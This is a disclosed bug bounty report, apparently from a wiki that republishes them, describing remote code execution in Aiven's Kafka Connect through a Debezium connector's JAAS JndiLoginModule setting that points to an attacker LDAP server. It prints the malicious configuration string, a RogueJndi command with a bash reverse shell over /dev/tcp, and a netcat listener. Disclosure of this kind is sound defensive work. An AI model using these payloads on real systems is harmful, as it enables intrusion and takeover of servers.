Kafka Connect RCE via connector SASL JAAS JndiLoginModule configuration
The Kafka Connect REST API allowed setting a connector property that pointed to an attacker-controlled LDAP server, which the server then contacted and deserialised the response, enabling remote code execution. An attacker could execute commands on the Kafka Connect server and access other network resources.
- Triaged in 36 days
- Fixed in 50 days
- Paid in 50 days
- Disclosed after 7 months
Summary:
When configuring the connector via the Aiven API or the Kafka Connect REST API, the attacker can set the database.history.producer.sasl.jaas.config connector property for the io.debezium.connector.mysql.MySqlConnector connector. This is likely true for other debezium connectors too. By setting the connector value to "com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";", the server will connect to the attacker's LDAP server and it deserializes the LDAP response, which the attacker can use to execute java deserialization gadget chains on the kafka connect server.
Steps To Reproduce:
██████
- Login into my VPS:
ssh ███████, password:█████ - Execute
java -jar RogueJndi-1.1.jar --hostname ███ -c "bash -c bash\${IFS}-i\${IFS}>&/dev/tcp/███/4445<&1" - Execute
nc -nlvp 4445on another tab - Execute
python3 poc.pyon another table. This poc script launches the exploit against my Aiven kafka connect instance. - Reverse shell connection should now be established
The gadget chain
The exploit uses System.setProperty gadget chain in the scala standard library to enable unsafe deserialization of apache commons collections transformers (finding this gadget chain took way too much time...). This payload has been designed for the Scala version 2.13.6. It may fail on other scala versions. Then the script executes the reverse shell setup command using the CommonsCollections7 payload.
Impact
Attacker can execute commands on the server and access other resources on the network.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the connector configuration allowed setting a JAAS login module that performs a JNDI lookup to an attacker-controlled LDAP server, and the response was deserialised without validation.
Impact
An attacker could execute commands on the Kafka Connect server and access other resources on the network.
What the attacker needed
Access to Kafka Connect REST API or Aiven API; ability to create or modify a connector
How it was found
- Log in to the attacker's VPS.
- Start a rogue LDAP server that serves a malicious response and a reverse shell command.
- Start a netcat listener for the reverse shell.
- Run a proof-of-concept script that sends the malicious connector configuration to the Aiven Kafka Connect instance.
- Observe the reverse shell connection.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Kafka Connect is a tool for moving data between systems. The report shows that a configuration setting could be abused to make the server fetch data from an attacker's server and then run hidden code inside that data, giving the attacker control of the machine.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.